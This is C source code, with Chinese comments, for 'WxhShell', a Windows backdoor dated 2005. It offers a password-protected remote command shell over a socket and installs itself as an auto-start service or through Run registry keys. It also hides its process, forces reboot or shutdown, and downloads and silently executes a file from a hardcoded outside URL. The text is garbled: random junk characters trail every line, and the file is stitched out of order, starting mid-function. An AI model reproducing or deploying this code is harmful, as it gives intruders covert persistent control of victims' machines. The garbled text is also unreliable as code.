    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t T/*ZzMq#  
    if(Boot(SHUTDOWN)) ^~1@HcJo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }d*sWSPu(  
    else { *[5#g3  
    closesocket(wsh); zB7dCw  
    ExitThread(0); ={D B  
    } ve]95w9J  
    break; =<W[dV=W  
    } hB<z]sl  
  // 获取shell C00*X[p  
  case 's': { kC#B7*[RM  
    CmdShell(wsh); SD.*G'N&2f  
    closesocket(wsh); %fSk "%u%<  
    ExitThread(0); 9NoPrR=x1  
    break; eMd1%/[  
  } 2iINQK$  
  // 退出 b({b5z.A  
  case 'x': { JI; i1@| b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ['YRY B  
    CloseIt(wsh); qmeEUch`  
    break; 21k-ob1Y  
    } xu pdjT%4  
  // 离开 vlKKPS  
  case 'q': { Z5^ UF2`Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |2]WA'q  
    closesocket(wsh); x=r6vOj  
    WSACleanup(); uRcuy/CY  
    exit(1); 7Qztc?XK  
    break; LZbHK.G=  
        } "'dC>7*<  
  } E0x$;CG!  
  } ]CJ>iS!V  
aj-uk(r  
  // 提示信息 v+2q R0,LM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Oes+na'^  
} "@|V.d@  
  } k <Sa<  
:[?o7%"  
  return; 'GO..m"G  
} 2/gj@>dt  
T`DlOi]Z_  
// shell模块句柄 rca"q[,  
int CmdShell(SOCKET sock) !Y i<h/:  
{ ",@g  
STARTUPINFO si; Xg#([}b  
ZeroMemory(&si,sizeof(si)); TKydOw@P"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |,~A9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L}pFb@  
PROCESS_INFORMATION ProcessInfo; PbH]K$mj{"  
char cmdline[]="cmd"; Y##P9^zH1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b#'a4j-u  
  return 0; @wZ_VE7B  
} sbhEZ#7#  
^/YAokj  
// 自身启动模式 6Z}))*3 9  
int StartFromService(void) QlXF:Gx"=  
{ ]b$,.t5  
typedef struct .B n2;nO  
{ i-W2!;G  
  DWORD ExitStatus; $1 \!Oe[i  
  DWORD PebBaseAddress; .F|WQ7Mu  
  DWORD AffinityMask; PG]mwaj])  
  DWORD BasePriority; lL f01sa4  
  ULONG UniqueProcessId; ]/naH#8G  
  ULONG InheritedFromUniqueProcessId; J}u1\Id%  
}   PROCESS_BASIC_INFORMATION; kpUU'7Q  
a2FIFWvW  
PROCNTQSIP NtQueryInformationProcess; 3"%44'  
WU@,1.F:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TzXl ?N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N4NH)x  
<b40\Z{+  
  HANDLE             hProcess; W5;sps  
  PROCESS_BASIC_INFORMATION pbi; LA Vgf>  
{vlh ,0~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Oz7v hOU  
  if(NULL == hInst ) return 0; 1 niTkop  
#-,`4x$m|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GlZDuU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,i.P= o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5!%/j,?  
#8|NZ6x,  
  if (!NtQueryInformationProcess) return 0; eci\Q,   
&Wk<F3qN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5X-(@GwN  
  if(!hProcess) return 0; 9R3=h5Y  
u^p[zepW\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S"z4jpqn3  
RO8Ynm2 <  
  CloseHandle(hProcess); U.x.gZRo[  
V(0[QA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Or|LyQU  
if(hProcess==NULL) return 0; 9hzU@m  
tB7aHZ|  
HMODULE hMod; [J 3;U6  
char procName[255]; =@MKU  
unsigned long cbNeeded; ]x\wP7x  
d(XWt;KK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 96j2D8=w  
,#haai(  
  CloseHandle(hProcess); V [>5  
1vb0G ;a;|  
if(strstr(procName,"services")) return 1; // 以服务启动 >o7k%T|l$  
95&HsgdxJ  
  return 0; // 注册表启动 ']D( ({%g  
} 8hT>)WH}wo  
LlqhZetS  
// 主模块 .&dcJh*O+  
int StartWxhshell(LPSTR lpCmdLine) fok#D>q  
{ K-5)Y+| >  
  SOCKET wsl; UW3F)  
BOOL val=TRUE; WG n1pW  
  int port=0; jnY4(B   
  struct sockaddr_in door; 8uiQm;W  
PGGJpD?  
  if(wscfg.ws_autoins) Install(); JTJ4a8DE  
mt'#j"mU  
port=atoi(lpCmdLine); "k/@tX1:R  
VxoMK7'O=/  
if(port<=0) port=wscfg.ws_port; ".4^?d_^VF  
rz*Jmn b  
  WSADATA data; Ek0.r)Nw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {n'}S(  
M}u2aW2]X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /2q%'"x(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3]P=co@  
  door.sin_family = AF_INET; [u:_J qf-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fM{Vy])J  
  door.sin_port = htons(port); ?K"]XXsI  
tA.C"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R,lr&;a8  
closesocket(wsl); ^D)C|T  
return 1; |99eDgK,  
} M\3!elp2z  
G1|:b-C  
  if(listen(wsl,2) == INVALID_SOCKET) { 8iRQPV-"_  
closesocket(wsl); fkM4u<R^  
return 1; u9Ro=#xt  
} mx2 Jt1  
  Wxhshell(wsl); B7;MY6h#  
  WSACleanup(); " B1' K8  
)uP= o  
return 0; J2rH<Fd[up  
\b->AXe8  
} Y/gCtSF  
2S3F]fG0  
// 以NT服务方式启动 B!0[LlF+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #]2u!a ma  
{ .:}\Z27-c  
DWORD   status = 0; !=pemLvH  
  DWORD   specificError = 0xfffffff; Zh$Z$85p  
~7v^7;tT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; whshjl?a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2Xosj(H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rk<:m+V=  
  serviceStatus.dwWin32ExitCode     = 0; ,7aqrg  
  serviceStatus.dwServiceSpecificExitCode = 0; xS'So7:h  
  serviceStatus.dwCheckPoint       = 0; 53A=O gk8S  
  serviceStatus.dwWaitHint       = 0; bc-"If Z&  
_" n4SXhq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |Cm}%sgR\0  
  if (hServiceStatusHandle==0) return; 4p]Y`];U  
%{Gqhb=u\  
status = GetLastError(); 5"+* c@L  
  if (status!=NO_ERROR) a%kj)ah  
{ !jm a --  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G>b1No3%k  
    serviceStatus.dwCheckPoint       = 0; UOyP6ej  
    serviceStatus.dwWaitHint       = 0; eF9LZ"-s  
    serviceStatus.dwWin32ExitCode     = status; O`eNuQSv  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2mRso.Ah  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B(~D*H2T[  
    return; 9I9)5`d|Jn  
  } .|K5b]na  
\hz)oC   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U1Oq"Ij~  
  serviceStatus.dwCheckPoint       = 0; |kn}iA@72p  
  serviceStatus.dwWaitHint       = 0; @0G} Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O3Uu{'=0  
} 8^T' a^Wt  
_Uq'eZol  
// 处理NT服务事件,比如:启动、停止 R9HRbVBJf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "3K0 wR5  
{ <"-sN  
switch(fdwControl) |67UN U  
{ U[ed#9l>  
case SERVICE_CONTROL_STOP: l!1bmg#]$  
  serviceStatus.dwWin32ExitCode = 0; UCQL~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,AJd2ix  
  serviceStatus.dwCheckPoint   = 0; aPbHrk*/  
  serviceStatus.dwWaitHint     = 0; uo0(W3Q *  
  { \l`;]cA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +CACs7tV  
  } ,i}"e(f  
  return; XH/|jE.9^|  
case SERVICE_CONTROL_PAUSE: tC;D4i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |D\ ukml  
  break; ,?}TSJKC  
case SERVICE_CONTROL_CONTINUE: :c\NBKHv*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ',.Xn`c  
  break; `bi5#xR  
case SERVICE_CONTROL_INTERROGATE: .]" o-(gB  
  break; )}EwEM  
}; 87-oR}/r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y=5hm  
} &CS=*)>$  
\"Np'$4eu  
// 标准应用程序主函数 P?I"y,_ p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XjV7Ew^7  
{ :r\<DVj  
Tb}b*d3  
// 获取操作系统版本 ALG +  
OsIsNt=GetOsVer(); f"[C3o2P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (Fu9lW}n  
35ng_,t $  
  // 从命令行安装 </fzBaTo  
  if(strpbrk(lpCmdLine,"iI")) Install(); V3UEuA  
]$7|1-&Y  
  // 下载执行文件 =[P||  
if(wscfg.ws_downexe) { f}fM%0/5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bv+PbK]iO  
  WinExec(wscfg.ws_filenam,SW_HIDE); g}f@8;TY  
} ;;2s{{(R  
<|{=O9  
if(!OsIsNt) { P\Ka'i  
// 如果时win9x,隐藏进程并且设置为注册表启动 Mqna0"IYx*  
HideProc(); ]WS 7l@  
StartWxhshell(lpCmdLine); {P*RA'H3G  
} u+-}|  
else a+Z/=YUR  
  if(StartFromService()) Y,+$vj:y8  
  // 以服务方式启动 CzwnmSv{.  
  StartServiceCtrlDispatcher(DispatchTable); H7uW|'XWz  
else +UB. M  
  // 普通方式启动 KjhOz%Yt[o  
  StartWxhshell(lpCmdLine); GhX>YzD7  
T3bBc  
return 0; VH8,!#Q;  
} ^mH^cP?/  
\=w|Zeu{l  
^JH 4: h  
s01n[jQ  
=========================================== x]F:~(P  
M]oaWQu  
[z/OY&kF  
EayZ*e ]  
IF<jq\M  
-?j'<g0  
" tFG&~tNc  
5Ba eHzI  
#include <stdio.h> SlmgFk!r!  
#include <string.h> Z5v\[i@H!  
#include <windows.h> SoCa_9*X  
#include <winsock2.h> ;XANIT V  
#include <winsvc.h> Nl0*"}`I_  
#include <urlmon.h> }e1f kjWk  
h]I ^%7  
#pragma comment (lib, "Ws2_32.lib") $~_TE\F1  
#pragma comment (lib, "urlmon.lib") :X+7}!Wlo  
&)1+WrU  
#define MAX_USER   100 // 最大客户端连接数 KZ&{Ya  
#define BUF_SOCK   200 // sock buffer SDZ/rC!C  
#define KEY_BUFF   255 // 输入 buffer j2V^1  
WxFVbtw  
#define REBOOT     0   // 重启 HG{OkDx]fl  
#define SHUTDOWN   1   // 关机 2|m461   
|SCO9,Fs  
#define DEF_PORT   5000 // 监听端口 w?Y;pc}1B  
^`ny]3JA  
#define REG_LEN     16   // 注册表键长度 ?8pRRzV$  
#define SVC_LEN     80   // NT服务名长度 c1c8):o+V  
L)kwMk  
// 从dll定义API :GK]"sNC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G{)2f &<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l1nrJm8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); : W^ k3/t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JT!-Q!O}O  
Ww:,O48%  
// wxhshell配置信息 Ju# - >]  
struct WSCFG { Dz8)u:vRS  
  int ws_port;         // 监听端口 ).5$c0`U&  
  char ws_passstr[REG_LEN]; // 口令 54v}iG  
  int ws_autoins;       // 安装标记, 1=yes 0=no y$'(/iyz  
  char ws_regname[REG_LEN]; // 注册表键名 ApR>b%  
  char ws_svcname[REG_LEN]; // 服务名 *{ 6{ZKM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xO{yr[x"L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DYx3 NDX7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 it \3-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oUoDj'JN{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yHe%e1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HZKqGkE  
ogtl UCUD  
}; 4;=+qb  
]sB-}n)  
// default Wxhshell configuration | bDUekjR  
struct WSCFG wscfg={DEF_PORT, E {*d`n  
    "xuhuanlingzhe", 3,t3\`=  
    1, Q3T@=z2j%  
    "Wxhshell", e-Mei7{%  
    "Wxhshell", ^-Bx zOp  
            "WxhShell Service", =)!sWY:  
    "Wrsky Windows CmdShell Service", Dg W*Br8<  
    "Please Input Your Password: ", Y'H|Tk^`  
  1, r1ao=N  
  "http://www.wrsky.com/wxhshell.exe", 2M@,g8O+B=  
  "Wxhshell.exe" ~qT5F)$B-  
    }; )H8Rfn?  
Dn~c  
// 消息定义模块 yH/m@#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _TEjB:9eY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MfQ 9d9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HHzAmHt  
char *msg_ws_ext="\n\rExit."; b@`h]]~:  
char *msg_ws_end="\n\rQuit."; `|(S]xPHM  
char *msg_ws_boot="\n\rReboot..."; ^Y,nv,gYn  
char *msg_ws_poff="\n\rShutdown..."; W"$sN8K>)  
char *msg_ws_down="\n\rSave to "; ozB2L\D7  
9vZ:oO  
char *msg_ws_err="\n\rErr!"; =# 0f4z  
char *msg_ws_ok="\n\rOK!"; ~>SqJ&-moo  
:Y>FuE  
char ExeFile[MAX_PATH]; hh#p=Y(f  
int nUser = 0; 9X/]O<i,Es  
HANDLE handles[MAX_USER]; Kjzo>fIC{  
int OsIsNt; PUcxlD/a}  
"Rc Ny~  
SERVICE_STATUS       serviceStatus; i24t$7q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eCFMWFhC  
ma TQ 0GX  
// 函数声明 4 ))ZBq?  
int Install(void); A*^aBWFR  
int Uninstall(void); /F@CrNFb(  
int DownloadFile(char *sURL, SOCKET wsh); 4 '"C8vw.  
int Boot(int flag); (P'{A>aHl0  
void HideProc(void); bY&!d.  
int GetOsVer(void); 6--t6>5  
int Wxhshell(SOCKET wsl); \w#)uYK{i_  
void TalkWithClient(void *cs); G{CKb{  
int CmdShell(SOCKET sock); '-X[T}  
int StartFromService(void); Q-<h)WTA  
int StartWxhshell(LPSTR lpCmdLine); 6pP:Q_U$  
}iIZA>eF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C2 4"H|D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'Y2ImSWj  
z;wOtKl5r  
// 数据结构和表定义 z|bAZKSRYx  
SERVICE_TABLE_ENTRY DispatchTable[] = /:B2-4>Q!  
{ /Vdu|k=  
{wscfg.ws_svcname, NTServiceMain}, k~Z;S QyN  
{NULL, NULL} \?tE,\Ln  
}; cY]BtJ#  
u4x>gRz)  
// 自我安装 Q%r KKOX8  
int Install(void) WYJH+"@%j  
{ F ~SA3M:  
  char svExeFile[MAX_PATH]; L%;fYi;n  
  HKEY key; QZ& 4W  
  strcpy(svExeFile,ExeFile); WA((>Daf]  
z94#:jPmG  
// 如果是win9x系统,修改注册表设为自启动 k:[T#/;  
if(!OsIsNt) { o4U0kiI@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8B! MgNKV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C&HN#Q_  
  RegCloseKey(key); zt;aB>jz#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mR O@ZY;5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *Za'^Z2  
  RegCloseKey(key); AcP d(Pc  
  return 0; P](/5KrK  
    } `l2h65\  
  } 18,;2Sr44  
} F1*xY%Jv^M  
else { ^ 6b27_=  
S ^]mF>xX8  
// 如果是NT以上系统,安装为系统服务 1 HY K& ',  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9+#BU$*v  
if (schSCManager!=0) :Z%-&) F  
{ =&Z#QD"vl  
  SC_HANDLE schService = CreateService H S)$|m_  
  ( +wp!hk&C5  
  schSCManager, 1z3>nou2{  
  wscfg.ws_svcname, fG zx;<0P!  
  wscfg.ws_svcdisp, U4=m>Ty  
  SERVICE_ALL_ACCESS,  qC6@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n|fKwWB\  
  SERVICE_AUTO_START, *b7evU *1  
  SERVICE_ERROR_NORMAL, pz=/A  
  svExeFile, K;7ea47m N  
  NULL, {X 5G  
  NULL, @>*r2=#14  
  NULL, `y>BbJqy  
  NULL, ~6=aoF5"3?  
  NULL ;Wgkf_3  
  ); wEZieHw  
  if (schService!=0) T]x]hQ  
  { Q[Gs%/>  
  CloseServiceHandle(schService); qnFg7X>C,  
  CloseServiceHandle(schSCManager); c+{ ar^)*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W2 {4s 1  
  strcat(svExeFile,wscfg.ws_svcname); .On3ZN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h<G7ocu!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ; GEr8_7  
  RegCloseKey(key); s14D(:t(  
  return 0; =6a=`3r!I  
    } G/ H>M%M  
  } b ,x$wP+  
  CloseServiceHandle(schSCManager); b#-=Dbe  
} E|3[$?=R  
} / hg)=p  
r{{5@  
return 1; @6M>x=n5  
} + B<7]\\M  
N6Dv1_c,  
// 自我卸载 MU4BAN   
int Uninstall(void) 87F]a3  
{ 5 qMP u|A  
  HKEY key; %?3$~d\n  
jx'hxC'3  
if(!OsIsNt) { XVF!l>nE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5Y 7 %Z  
  RegDeleteValue(key,wscfg.ws_regname); M?5voV*  
  RegCloseKey(key); \0K&2'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M< H+$}[  
  RegDeleteValue(key,wscfg.ws_regname); 'U,\5jj'Y  
  RegCloseKey(key); \!"3yd  
  return 0; Wo  Z@  
  } 5S[:;o  
} {Y3:Y+2X3*  
} kZ;Y/DH  
else { IOa@dUh7a,  
OepQ Z|2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Gzp*Vr  
if (schSCManager!=0) v%kl*K`*  
{ }zIWagC6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tkmzOc H  
  if (schService!=0) /]?e^akA  
  { i|0!yID0@  
  if(DeleteService(schService)!=0) { ju!V1ky  
  CloseServiceHandle(schService); XT \2  
  CloseServiceHandle(schSCManager); w4FYd  
  return 0; IH`7ou{  
  } <E:_9#Z0sc  
  CloseServiceHandle(schService); R[kF(C&  
  } &UVqF o  
  CloseServiceHandle(schSCManager); qT01@Bku  
} Nxt`5kSx=  
} ]x66/O\0u  
gH.$B'  
return 1; VR'zm\< D  
} >%5GMx>m  
s )Xz}QPK.  
// 从指定url下载文件 ']d(m?  
int DownloadFile(char *sURL, SOCKET wsh) vsPIvW!V  
{ S_ra8HY8  
  HRESULT hr; 5~$WSL?O)  
char seps[]= "/"; HIUP =/x  
char *token; zCv)%y  
char *file; (1[Z#y[  
char myURL[MAX_PATH]; lR/Uboyy  
char myFILE[MAX_PATH]; XtE O)  
{b-SK5%]L  
strcpy(myURL,sURL); R2Lq??XA=  
  token=strtok(myURL,seps); aU/y>Y <k  
  while(token!=NULL) B 74  
  { MShcZtN  
    file=token; !=HxL-`j  
  token=strtok(NULL,seps); 3BAQ2S}  
  } 7%&e4'SZO  
Od~ e*gA8  
GetCurrentDirectory(MAX_PATH,myFILE); *q;83\  
strcat(myFILE, "\\"); WR u/7$8  
strcat(myFILE, file); D&=+PAX  
  send(wsh,myFILE,strlen(myFILE),0); X5(oL  
send(wsh,"...",3,0); ><$V:nsEO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3T>6Q#W5eO  
  if(hr==S_OK) wv=U[:Y  
return 0; i ~)V>x  
else 4pZKm-dM^  
return 1; ~+,ZD)AKi4  
jAovzZ6BL  
} %zR5q  Lb  
[;l;kom  
// 系统电源模块 1r5Z$3t\  
int Boot(int flag) f%JM a]yV  
{ =BbXSwv'(  
  HANDLE hToken; 8Pva]Q  
  TOKEN_PRIVILEGES tkp; 7jr+jNsowj  
hu7o J H  
  if(OsIsNt) { 2@Q5Ta #h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ].Ra=^q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .krEfY&  
    tkp.PrivilegeCount = 1; LoOw]@>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  z@~mu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 99%R/m  
if(flag==REBOOT) { =4L%A=]`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `-Tb=o}.  
  return 0; MwL!2r  
} EWXv3N2)  
else { -=n!k^?lK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EpTc{  
  return 0; o5YL_=7m  
} ||fCY+x*8  
  } >>M7#hmt  
  else { ,s 6lB0  
if(flag==REBOOT) { B,` `2\B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N7GZ'-t^Er  
  return 0; Hd TB[(  
} b8[ ayy  
else { sxdDI?W4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A<(Fn_ &W  
  return 0; NCYOY  
} vst;G-ys  
} e`+ej-o,  
`Gx 5=Bm;  
return 1; |oQhtk8.  
} m 0Uu2Z4  
p^Z|$aZZ  
// win9x进程隐藏模块 [.$/o}  
void HideProc(void) p9!jM\(  
{ 32pPeYxB!-  
bxWzm|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K.Cx 9  
  if ( hKernel != NULL ) [#AI!-  
  { 7\H_9o0$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vg1E@rH|}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k4!p))ql  
    FreeLibrary(hKernel); wzcv[C-x  
  } K;`W4:,  
KI].T+I  
return; !Q}Bz*Y  
} 3ly ]DTbz  
>u|4490<0  
// 获取操作系统版本 Gz--C(  
int GetOsVer(void) HcV,r,>e  
{ 0d89>UB-8q  
  OSVERSIONINFO winfo; K_;?Sr=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [<}W S} .  
  GetVersionEx(&winfo); _s:5)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ) bd`U  
  return 1; e?\hz\^  
  else mZ0_^  
  return 0; -vh\XO  
} vq\L9$WJ  
?5EMDawt  
// 客户端句柄模块 W@+ge]9m&  
int Wxhshell(SOCKET wsl) A6xN6{R!  
{ tItI^]w2s  
  SOCKET wsh; B"`86qc  
  struct sockaddr_in client; d6zq,x!cI  
  DWORD myID; kk OjAp{<t  
;g?o~ev 8  
  while(nUser<MAX_USER) x4`|[  
{ k`\L-*:Ji  
  int nSize=sizeof(client); f %P#.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7c<_j55(  
  if(wsh==INVALID_SOCKET) return 1; >#`{(^  
z)R\WFBW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RF~c/en  
if(handles[nUser]==0) gRw? <U^  
  closesocket(wsh); #wGOlW;R  
else [t*-s1cq  
  nUser++; @# . a5  
  } Wi*HLP!lNC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !nQoz^_`P  
bkm: #K  
  return 0; 3qDuF  
} D}2$n?~+  
<AHdz/N  
// 关闭 socket v5FfxDvw  
void CloseIt(SOCKET wsh) mAe)Hy %  
{ \=(U tro  
closesocket(wsh); bE jQMlb  
nUser--; bOr6"nn  
ExitThread(0); =7S\-{  
} ;9)=~)  
yJ(ITJE_Z  
// 客户端请求句柄 mhNgXp)_56  
void TalkWithClient(void *cs) y#nyH0U  
{ Nig)!4CG  
< [17&F0  
  SOCKET wsh=(SOCKET)cs; /g!X[rn7Q  
  char pwd[SVC_LEN]; D6'-c#  
  char cmd[KEY_BUFF]; o KY0e&5  
char chr[1]; 8vj]S5  
int i,j; aOEW$%  
l 1BAW$  
  while (nUser < MAX_USER) { qIO)<5\[%d  
R?:(~ X\  
if(wscfg.ws_passstr) { 99[v/L>F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jtwe9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4EhWK;ra  
  //ZeroMemory(pwd,KEY_BUFF); <}%gZ:Z6g  
      i=0; vfh\X1Ui}  
  while(i<SVC_LEN) { )<T2J0*  
//#]CsFiP  
  // 设置超时 1Nz#,IdQ  
  fd_set FdRead; $ \ I|6[P  
  struct timeval TimeOut; 8>:u%+ C1c  
  FD_ZERO(&FdRead); rWp+kV[Ec>  
  FD_SET(wsh,&FdRead); :ZXaJ!  
  TimeOut.tv_sec=8; 7[M@;$  
  TimeOut.tv_usec=0; z~jk_|?|?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &qm:36Y7Xg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -)e(Qt#ewl  
%,udZyO3uR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }jL4F$wC  
  pwd=chr[0]; ItG|{Bo  
  if(chr[0]==0xd || chr[0]==0xa) { n&E/{o(  
  pwd=0; "ZG2olOqLI  
  break; [t]q#+Zs  
  } n%{oFTLCo  
  i++; *#B"%;Ln  
    } V|;os  
>UV=k :Q  
  // 如果是非法用户,关闭 socket B\>3[_n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _9z+xl  
} Fz]!2rt  
M:%Ll3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %z["TVH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eGI&4JgJ.  
'uLYah  
while(1) { px^brzLQo  
Bs<LJzS{V  
  ZeroMemory(cmd,KEY_BUFF); e!4Kl:  
1tH#QZIT  
      // 自动支持客户端 telnet标准   z| zd=3c  
  j=0; p49T3V  
  while(j<KEY_BUFF) { DjiWg(X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =fI0q7]ndz  
  cmd[j]=chr[0]; !6*4^$i#o  
  if(chr[0]==0xa || chr[0]==0xd) { q/3co86c  
  cmd[j]=0; 7zu3o  
  break; O9:J ^g  
  } A~'p~ @L  
  j++; ^NO;A=9b[  
    } z2SR/[I?  
_/F}y[B7d  
  // 下载文件 liTAV9<  
  if(strstr(cmd,"http://")) { R)9FXz$).  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); > V@,K z1  
  if(DownloadFile(cmd,wsh)) 'V*8'?  
